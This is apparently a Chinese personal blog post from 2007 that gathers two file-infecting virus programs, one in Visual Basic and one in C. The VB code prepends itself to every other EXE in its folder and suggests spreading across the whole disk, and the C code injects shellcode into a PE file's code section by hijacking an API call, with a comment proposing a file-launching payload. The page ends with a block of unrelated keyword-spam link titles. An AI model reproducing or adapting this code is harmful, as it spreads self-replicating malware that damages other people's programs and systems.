• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            感染EXE

            收集兩篇感染exe的文章,有時間了把它寫出來

            VB:

            Option Explicit
            Private Victim As String '要感染的文件的名字
            Private HostLen As Long '要感染的文件的大小
            Private vbArray() As Byte '病毒的代碼
            Private hArray() As Byte '要感染的文件的代碼
            Private lenght As Long
            Private MySize As Integer '病毒的大小

            Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
            Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
            Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
            Private iResult As Long
            Private hProg As Long
            Private idProg As Long
            Private iExit As Long
            Const STILL_ACTIVE As Long = &H103
            Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

            Private Sub form_Initialize()
            Dim i As Long
            On Error GoTo vbVerror '出錯處理

            '原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
            As #1
            ReDim MyArray(LOF(1) - 1)
            MySize = LOF(1)
            ReDim vbArray(MySize)
            Get #1, 1, vbArray
            Close #1
            '這是在讀自己的代碼


            Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個文件(目前只是在病毒所在的目錄下隨機選一個,將來你可以修改,讓它不斷的循環搜索計算機上的所有文件。)
            While Victim <> ""

            If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
            Open App.Path & "\" & Victim For Binary Access Read As #1
            ReDim hArray(LOF(1))
            Get #1, 1, hArray
            Close #1
            '讀出病毒自身的代碼


            If hArray(&H69) <> &H4D Then

            i = hArray(&H3C)
            If hArray(i) = &H50 Then
            Open App.Path & "\" & Victim For Binary Access Write As #1
            Put #1, , vbArray
            Put #1, MySize, hArray
            Close #1
            End If '要保證被感染的不是空文件(不是圈套)
            End If
            End If
            '讀出準備被感染的文件的代碼

            Victim = Dir() 'Next

            Wend

            '下面的工作是為了保證病毒不會重復感染一個文件,也不會自我感染。

            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
            lenght = LOF(1) - MySize
            If lenght <> 0 Then
            ReDim vbArray(lenght - 1)
            Get #1, MySize, vbArray
            Close #1

            Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
            Put #1, , vbArray
            Close #1


            idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
            hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
            GetExitCodeProcess hProg, iExit
            Do While iExit = STILL_ACTIVE
            DoEvents
            GetExitCodeProcess hProg, iExit
            Loop
            Kill App.Path & "\" & App.EXEName & ".eve"

            Else
            Close #1

            End If

            End

            vbVerror: '出錯處理,空著就可以了

            End Sub



            VC:

            /**************************************************************
            * 函數:InjectCode
            * 參數:char szHostFile[]--待感染的exe文件路徑

            * 功能:感染一個exe程序,運行顯示“金豬拜年”的MessageBox
            * 從代碼節開始搜索,替換第一個發現的call api的指令
            * 把目標代碼插入代碼節的尾部
            * 代碼僅供演示之用,沒有做過多的錯誤處理
            * 感染當前hello.exe,插入一段彈出對話框代碼(當然你可以修改成啟動文件的代碼,嘿嘿)
            * coded by robinh00d
            * robinh00d_at_163.com
            * 編譯:cl epo.c
            **************************************************************/
            int InjectCode(char szHostFile[])
            {//#include <windows.h>
                PIMAGE_DOS_HEADER pImageDosHeader ;
                PIMAGE_NT_HEADERS pImageNtHeaders ;
                PIMAGE_SECTION_HEADER pImageSectionHeader;
                unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                                        "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                                        "\x8d\x83\x30\x10\x40\x00\x50\x50"
                                        "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                                        "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                                        "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                                        "\xC4\xEA\x00";
                HANDLE hFile ;
                HANDLE hMap ;
                LPVOID pMapping ;
                DWORD dwGapSize ;
                unsigned char *pGapEntry ;
                int i ;
                PROC MsgBox ;
                DWORD OldEntry ;
                int x = 0x18 ;
                int vir_len ;
                unsigned char *pSearch ;
                DWORD *dwCallNextAddr ;
                DWORD *dwCallDataOffset ;
                DWORD *dwCallDataAddr ;
                DWORD dwCallData ;
                DWORD dwCodeDistance ;
                DWORD *dwJmpAddr ;
                DWORD dwJmpData ;
                DWORD dwJmpVA ;

                //:::
                hFile = CreateFile(szHostFile,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    NULL,
                                    OPEN_EXISTING,
                                    FILE_ATTRIBUTE_NORMAL,
                                    NULL) ;
                                   
                if (hFile==INVALID_HANDLE_VALUE)
                {
                    return -1 ;
                }
               
                hMap = CreateFileMapping(hFile,
                                        NULL,
                                        PAGE_READWRITE,
                                        0,
                                        0,
                                        NULL) ;
                if (!hMap)
                    return -1 ;
               
                pMapping = MapViewOfFile(hMap,
                                    FILE_MAP_ALL_ACCESS,
                                    0,
                                    0,
                                    0) ;
                if (!pMapping)
                    return -1 ;
               
                pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
                if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
                {
                    pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
                    if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
                    {
                        pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                                        pImageDosHeader->e_lfanew+
                                                                        sizeof(IMAGE_NT_HEADERS)) ;
                        dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

            >Misc.VirtualSize ;
                       
                        if (sizeof(thunkcode)>dwGapSize)
                            goto Close ;
                           
                        pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                                        (DWORD)pMapping+
                                                        pImageSectionHeader->Misc.VirtualSize) ;
                       
                        OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                                    pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

                        MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

                        //修改為當前系統的MessageBoxA地址
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                            x -= 8 ;
                        }
                        x = 24 ;
                       
                        vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
                       
                        pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                    (DWORD)pMapping) ;
                                   
                        //:::搜索call指令(0xe8)
                        for (i=0;i<vir_len;i++)
                        {
                            if (pSearch[i]==0xe8)
                            {
                                dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                                dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                                dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                                dwJmpVA = (DWORD)dwJmpAddr-
                                            ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                            pImageNtHeaders->OptionalHeader.ImageBase+
                                            pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                                dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                                if ((*dwJmpAddr&0xffff)==0x25ff)
                                {
                                    dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                                    *dwCallDataAddr = dwCodeDistance ;
                                    for (i=3;i>=0;i--)
                                    {
                                        thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                                        x -= 8 ;
                                    }
                                    for (i=0;i<sizeof(thunkcode);i++)
                                    {
                                        pGapEntry[i] = thunkcode[i] ;
                                    }
                                    break ;
                                }
                            }
                           
                        }
                       
                    }
                }

            Close:
                UnmapViewOfFile(pMapping) ;
                CloseHandle(hMap) ;
                CloseHandle(hFile) ;
               
                return 0 ;
            }

            posted on 2007-10-08 14:21 葉子 閱讀(1059) 評論(0)  編輯 收藏 引用 所屬分類: 技術研究

            久久成人18免费网站| 欧美丰满熟妇BBB久久久| 国产精品久久国产精品99盘| 99国产精品久久| 国内精品久久久久久久涩爱| 无码精品久久一区二区三区| 国产成人无码精品久久久性色| 久久久国产乱子伦精品作者| 国内精品久久久久久久亚洲| 久久人人爽人人爽人人爽 | 精品免费久久久久久久| 国内精品久久久久国产盗摄| 亚洲精品乱码久久久久久蜜桃不卡| 漂亮人妻被黑人久久精品| 久久久中文字幕日本| 久久久亚洲欧洲日产国码二区| 久久国产精品免费一区| 2021久久国自产拍精品| 久久久综合香蕉尹人综合网| 久久精品国产亚洲麻豆| 亚洲va久久久噜噜噜久久狠狠| 久久久久99精品成人片牛牛影视| 国产91久久精品一区二区| 大香伊人久久精品一区二区| 精品免费久久久久国产一区| 久久无码av三级| 久久福利青草精品资源站免费| 亚洲国产美女精品久久久久∴| 四虎久久影院| 亚洲AⅤ优女AV综合久久久| 国产精品成人久久久久久久| 久久久久久狠狠丁香| 99久久国产热无码精品免费| 久久精品国产久精国产思思| 亚洲国产精品无码久久| 国产激情久久久久久熟女老人| 伊人 久久 精品| 免费精品久久天干天干| 亚洲欧美成人综合久久久| 久久99精品久久久大学生| 久久天天躁夜夜躁狠狠躁2022 |